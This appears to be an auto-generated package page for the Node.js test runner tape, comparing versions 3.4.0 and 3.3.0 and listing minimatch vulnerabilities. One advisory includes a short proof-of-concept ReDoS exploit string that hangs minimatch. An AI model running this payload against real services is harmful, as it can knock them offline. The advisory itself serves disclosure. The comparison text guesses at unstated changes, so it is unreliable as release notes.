Tape is a straightforward, zero-dependency test runner for Node.js and browsers, adhering to the TAP (Test Anything Protocol) output format. Comparing versions 3.4.0 and 3.3.0 reveals a very incremental update, focused on refinements rather than major overhauls. The core dependencies - essential tools like glob for file matching, defined for handling null/undefined values, resumer for resumable streams, through for stream transformations, inherits for prototypal inheritance, deep-equal for robust object comparison, and object-inspect for detailed object stringification - remain consistent between both versions, indicating stability in the underlying architecture. Likewise, the development dependencies, including tap (a TAP consumer), falafel (an AST manipulator), and concat-stream (for buffering streams), are unchanged, suggesting no significant alterations to the testing or build process.
The key noticeable difference lies in the releaseDate. Version 3.4.0 was published only moments after 3.3.0, pointing to a very quick patch or correction. While the specific changes aren't detailed in provided data, developers migrating from 3.3.0 to 3.4.0 can anticipate a near-identical experience. This updated version likely addresses small bugs or enhancements not worthy of a larger version bump, optimizing the developer experience without introducing breaking changes. Given tape's minimalist philosophy, such iterative improvements align perfectly with its goal: providing a simple, reliable tool for writing and running tests. Therefore, upgrading to 3.4.0 is recommended for the latest bug fixes.
All the vulnerabilities related to the version 3.4.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.